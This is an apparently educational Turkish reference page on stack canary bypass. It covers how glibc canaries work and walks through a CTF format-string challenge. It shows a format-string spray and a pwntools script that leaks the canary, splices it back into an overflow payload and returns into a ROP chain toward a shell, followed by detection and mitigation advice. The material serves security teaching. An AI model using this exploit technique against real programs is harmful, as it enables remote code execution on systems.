Stack Canary Leak¶
Per-thread stack canary'yi bir info-leak primitive'i üzerinden disclose etmek, sonra onu bir overflow'da replay etmek; böylece
__stack_chk_failasla ateşlenmez.
Mechanism¶
Note
Bir stack canary (GCC'nin stack-smashing protector'ı; -fstack-protector,
-fstack-protector-strong ya da -fstack-protector-all ile etkinleşir),
local buffer'lar ile saved frame pointer / return address arasına yerleştirilen
gizli bir word'dür. Return address'e ulaşan bir linear buffer overflow önce
canary'yi overwrite etmek zorundadır; function epilogue'u da sonra değişikliği
tespit edip abort eder.
x86-64/glibc'de master canary, Thread-Local Storage'da sabit %fs:0x28
offset'inde yaşar — tcbhead_t thread control block'unun stack_guard
field'i. 32-bit x86'da %gs:0x14'tedir. Compiler şunu emit eder:
; prologue: copy canary from TLS to the stack just below saved RBP
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp-0x8], rax
...
; epilogue: compare stored copy against the live TLS value
mov rdx, qword ptr [rbp-0x8]
xor rdx, qword ptr fs:[0x28]
je .return ; XOR == 0 means they matched
call __stack_chk_fail ; mismatch -> "*** stack smashing detected ***" + abort
Canary'yi yenilebilir kılan invariant şu: değer gizlidir ama per-call
öngörülemez değildir. Bir thread'in ömrü boyunca sabittir ve — fork()
re-randomize etmediği için — fork edilen child'larla paylaşılır. Canary'nin
least-significant byte'ı kasıtlı olarak 0x00'a zorlanır. glibc değeri
_dl_random'dan türetir ve low byte'ı sıfırlar; böylece string operasyonları
(strcpy, printf %s, ...) onun üzerinde sonlanır ve bir string boyunca
forge edilmiş bir canary kopyalayamaz. Bir sonuç: %p çıktısındaki leak'lenmiş
bir 64-bit canary tanınabilirdir, çünkü 00 ile biter ve üstünde 7 random
byte vardır.
Dolayısıyla canary yalnızca memory de okuyamayan overflow'lara karşı korur.
Herhangi bir primitive on-stack kopyayı disclose ederse — bir format-string
bug'ı (%p/%N$p), bir out-of-bounds read, bir uninitialized-memory leak,
bir %s overread — saldırgan değeri öğrenir, sonra overflow sırasında onu
canary slot'una geri yazar. Epilogue XOR'u 0 verir, __stack_chk_fail asla
çağrılmaz ve saved RBP / return address serbestçe ezilebilir.
Walkthrough¶
Bir printf(user_input) format-string bug'ı (Nightmare koleksiyonundan ASIS'17
marymorton) stack'i okumana izin verir. Önce, conversion specifier'ları
spray'leyerek canary'nin positional offset'ini bul:
%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.
GDB'de, prologue'un canary kopyasını sakladığı rbp-0x8'e karşı çapraz kontrol et:
00 ile biten değer, ele veren glibc canary'sidir. Burada positional argument
23'te yüzeye çıktı. Onu positional syntax ile doğrudan leak et ve yeniden kullan:
from pwn import *
target = process('./marymorton')
target.sendline(b"2")
target.sendline(b"%23$llx") # leak the canary at position 23
target.recvline()
canary = int(target.recvline(), 16)
log.info("canary: " + hex(canary)) # e.g. 0x217c6cddb9f90f00 (low byte 0x00)
# Build the overflow, splicing the correct canary back in:
offset = 0x88 # buffer -> canary distance
payload = b"A" * offset
payload += p64(canary) # canary slot: write its own value back
payload += p64(0xdeadbeef) # saved RBP filler
payload += rop_chain # saved RIP -> ret2system / ret2libc
target.sendline(payload)
Beklenen davranış: epilogue xor [rbp-0x8], fs:0x28 == 0 hesaplar,
__stack_chk_fail'ı atlar ve *** stack smashing detected *** ile abort
etmek yerine ROP chain'e (örn. system("/bin/sh")) return eder.
Detection¶
- Bir
*** stack smashing detected ***: terminatedcrash log satırı, başarısız bir overflow'a işaret eder — saldırgan canary'yi bilmiyordu. Tek bir client'tan böyle tekrar eden crash'ler, bir blind brute-force girişiminin güçlü bir sinyalidir. - Leak'in kendisi sessizdir. Tespit, upstream info-leak'e odaklanır: input'taki
anomali format string'ler, aşırı boyutlu read'ler ya da bir logging veya echo
path'ine ulaşan
%p/%spattern'leri.
Mitigation¶
- Bir info-leak primitive'i var olduğunda canary tek başına bir mitigation değildir; tek gerçek çözüm disclosure bug'ını ortadan kaldırmaktır (format-string açığı yok, OOB/uninitialized read yok). Bkz. format-string-canary-leak.
- Zorlanmış null low byte ve per-thread random değer (
_dl_random'dan), string-copy yoluyla forge'lamayı durdurur. - Crash'te re-randomize et:
fork'tan sonraexecveyapan bir forking server hem canary'yi hem ASLR'yi yeniden atar ve byte-by-byte brute force'u kırar (bkz. stack-reading ve byte-by-byte-canary-brute-force). __stack_chk_failGOT-entry hijacking'ini engellemek için Full RELRO'yu etkinleştir.- Threaded kodda, büyük bir overflow
%fs:0x28'deki TLS master kopyayı stack kopyasıyla birlikte ezebilir (master-tls-canary-overwrite), böylece ikisi de eşleşir — thread stack'lerinin yakınındaki buffer'ları buna göre koru.